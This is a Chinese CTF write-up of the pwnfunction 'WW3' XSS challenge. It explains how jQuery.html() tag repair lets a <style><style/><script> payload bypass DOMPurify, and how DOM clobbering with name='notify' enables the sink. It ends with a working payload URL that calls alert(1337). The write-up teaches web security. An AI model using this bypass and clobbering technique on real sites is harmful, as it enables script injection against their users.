当前位置: 首页 > news >正文

XSS-Jquery.html()+DOM破坏

目录

靶场网址:​ https://xss.pwnfunction.com/challenges/ww3/ ​

分析代码:

Jquery.html()解析原理:

DOM-clobbering

JS作用域&作用域链

​编辑


靶场网址:​ https://xss.pwnfunction.com/challenges/ww3/ ​

分析代码:

<div><h4>Meme Code</h4><textarea class="form-control" id="meme-code" rows="4"></textarea><div id="notify"></div>
</div><script>/* Utils */const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');const memeTemplate = (img, text) => {return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+`.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+`.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+`position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+`<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)}const memeGen = (that, notify) => {if (text && img) {template = memeTemplate(img, text)if (notify) {html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)}setTimeout(_ => {$('#status').remove()notify ? ($('#notify').html(html)) : ''$('#meme-code').text(template)}, 1000)}}
</script><script>/* Main */let notify = false;let text = new URL(location).searchParams.get('text')let img = new URL(location).searchParams.get('img')if (text && img) {document.write(`<div class="alert alert-primary" role="alert" id="status">`+`<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`+`Creating meme... (${DOMPurify.sanitize(text)})</div>`)} else {$('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))}
</script>

可控的输入的点有两个text,img

let text = new URL(location).searchParams.get('text')
let img = new URL(location).searchParams.get('img') 

但是 img作为img标签的src属性被写入,且被过滤了关键符号。

text作为文本被渲染,渲染前都经过一次DOMPurify.sanitize处理

 //part1
document.write(
...
Creating meme... (${DOMPurify.sanitize(text)})
)

//part2 
html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)

notify ? ($('#notify').html(html)) : ''

Jquery.html()解析原理:

乍一看经过DOMPurify后的这些交互点都很安全,但是使用html()解析会存在标签逃逸问题。

两种解析html的方式:jquery.html&innerhtml。innerHTML是原生js的写法,Jqury.html()也是调用原生的innerHTML方法,但是加了自己的解析规则(后文介绍)。

关于两种方式:Jquery.html()和innerHTMl的区别我们用示例来看。

对于innerHTML:

模拟浏览器自动补全标签,不处理非法标签。同时,<style>标签中不允许存在子标签(style标签最初的设计理念就不能用来放子标签),如果存在会被当作text解析。

 因此<style><style/><script>alert(1337)//会被渲染如下

<style>
    <style/><script>alert(1337)//
</style>

对于Jqury.html():

最终对标签的处理是在htmlPrefilter()中实现:jquery-src,其后再进行原生innerHTML的调用来加载到页面。他会对不规范的标签进行修复。

rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^/>x20trnf]*)[^>]*)/>/gijQuery.extend( {htmlPrefilter: function( html ) {return html.replace( rxhtmlTag, "<$1></$2>" );}...
})tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];

这个正则表达式在匹配<*/>之后会重新生成一对标签(区别于直接调用innerHTML),例如:匹配到<div/>之后,他会修复这个标签,变为:<div></div>

所以我们传入的语句<style><style/><script>alert(1337)//则会被解析成如下形式,成功逃逸<script>标签。

<style>
    <style>
</style>
<script>alert(1337)//

至于这里最后面为何要加两个//:

因为innerHtml会自动补全我们的不规范的标签,这里的style标签少一个,所以就会补全为:<style> <style></style><script>alert(1337)//</style>,而我们的//刚好酒吧最后的style标签注释掉了。

而我们知道DOMPurify的工作机制是将传入的payload分配给元素的innerHtml属性,让浏览器解释它(但不执行),然后对潜在的XSS进行清理。由于DOMPurify在对其进行innerHtml处理时,我们传入的payload是传入到style这个标签里面了,script标签被当作style标签的text处理了,所以DOMPurify不会进行清洗(因为认为这是无害的payload),但在其后进入html()时,这个无害payload就能逃逸出来一个有害的script标签从而xss。

DOM-clobbering

而要想执行我们的payload,只有在notify不为false的时候才能顺利进入html()方法

let notify = false;document.write(`<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`)const memeGen = (that, notify) => {if (notify) {html = (`${DOMPurify.sanitize(text)}`)}...$('#notify').html(html)
}

所以我们需要用DOM破坏来让notify变为true

尝试用DOM-clobbering创造一个id为notify的变量,但是这种方式不允许覆盖已经存在的变量。

不过我们依然可以借助标签的name属性值,为document对象创造一个变量document.notify

JS作用域&作用域链

js的作用域就是会先去判断当前的scope是否有局部变量notify,若不存在向上查找window.document.notify,仍不存在继续向上到全局执行环境即window.notify为止。

所以我们用DOM破坏让name="notify",当它在局部找不到notify时,就会向上查找,最终找到我们覆盖的notify

而我们想要进入html()方法中,还需满足text&&mg这个条件

在当前函数内找不到text和img,onload 的作用域也找不到,就会往上去 script下面找,而多个 script 属于同一个作用域,在script中有text和img,于是就找到了。

而我们想要img为真,必须先执行text中的内容,因为text中有让notidy变为true的代码:DOM破坏将notify覆盖掉,它img中的onload变为真。这样才能满足text&&mg这个条件

<img name=notify><style><style/><script>alert()//

那我们这里就要考虑代码执行顺序的问题了,如果先执行的是img,那我们的payload就不可能成功,原因刚刚讲过了。

而恰好img加载图片是异步加载,所以我们的text中的代码先执行, 然后才会加载图片,然后才会触发onload,而notify为真,就走到html()这个方法中了,就会执行我们的payload。

最终传参:

img=https://i.imgur.com/PdbDexI.jpg&text=<img name%3dnotify><style><style%2F><script>alert(1337)%2F%2F

代码执行成功! 

相关文章:

  • 安全基础学习-SM4加密算法
  • MySQL 单机和集群环境部署教程
  • RK3588 EC200A-CN【4G模块】调试
  • 【大模型从入门到精通33】开源库框架LangChain RAG 系统中的问答技术3
  • 解决前端访问IIS服务器发生跨域请求报错的方法
  • Mac移动硬盘选什么格式最好 Mac怎么用ntfs移动硬盘
  • 数据恢复新宠儿:2024年新兴软件趋势与亮点解析
  • ArcGis在线地图插件Maponline(好用版)
  • ORA-01110
  • 二十二、状态模式
  • 江协科技STM32学习- P5 GPIO输出
  • 20240822 每日AI必读资讯
  • 思特科技:国家宝藏数字体验馆展现东方美学 让“文物活起来”
  • 谷歌CEO闭门讲话误开直播,AI前沿资讯令人震惊……外网视频全部下架
  • CAS-ViT实战:使用CAS-ViT实现图像分类任务(一)
  • php的引用
  • 【407天】跃迁之路——程序员高效学习方法论探索系列(实验阶段164-2018.03.19)...
  • 【跃迁之路】【519天】程序员高效学习方法论探索系列(实验阶段276-2018.07.09)...
  • docker python 配置
  • Fastjson的基本使用方法大全
  • Iterator 和 for...of 循环
  • JavaScript 事件——“事件类型”中“HTML5事件”的注意要点
  • Java多态
  • Java小白进阶笔记(3)-初级面向对象
  • SpringCloud集成分布式事务LCN (一)
  • Spring思维导图,让Spring不再难懂(mvc篇)
  • ViewService——一种保证客户端与服务端同步的方法
  • 从地狱到天堂,Node 回调向 async/await 转变
  • 对象管理器(defineProperty)学习笔记
  • 对象引论
  • 快速体验 Sentinel 集群限流功能,只需简单几步
  • 力扣(LeetCode)21
  • 前端学习笔记之原型——一张图说明`prototype`和`__proto__`的区别
  • 如何学习JavaEE,项目又该如何做?
  • 详解NodeJs流之一
  • 一个SAP顾问在美国的这些年
  • 在Mac OS X上安装 Ruby运行环境
  • PostgreSQL 快速给指定表每个字段创建索引 - 1
  • raise 与 raise ... from 的区别
  • # Spring Cloud Alibaba Nacos_配置中心与服务发现(四)
  • #Linux杂记--将Python3的源码编译为.so文件方法与Linux环境下的交叉编译方法
  • $Django python中使用redis, django中使用(封装了),redis开启事务(管道)
  • (DenseNet)Densely Connected Convolutional Networks--Gao Huang
  • (done) ROC曲线 和 AUC值 分别是什么?
  • (附源码)springboot宠物管理系统 毕业设计 121654
  • (转) SpringBoot:使用spring-boot-devtools进行热部署以及不生效的问题解决
  • (转载)CentOS查看系统信息|CentOS查看命令
  • (自用)网络编程
  • ***监测系统的构建(chkrootkit )
  • .net core Swagger 过滤部分Api
  • .Net Core 笔试1
  • .net 程序发生了一个不可捕获的异常
  • .Net(C#)常用转换byte转uint32、byte转float等
  • @ 代码随想录算法训练营第8周(C语言)|Day53(动态规划)
  • @column注解_MyBatis注解开发 -MyBatis(15)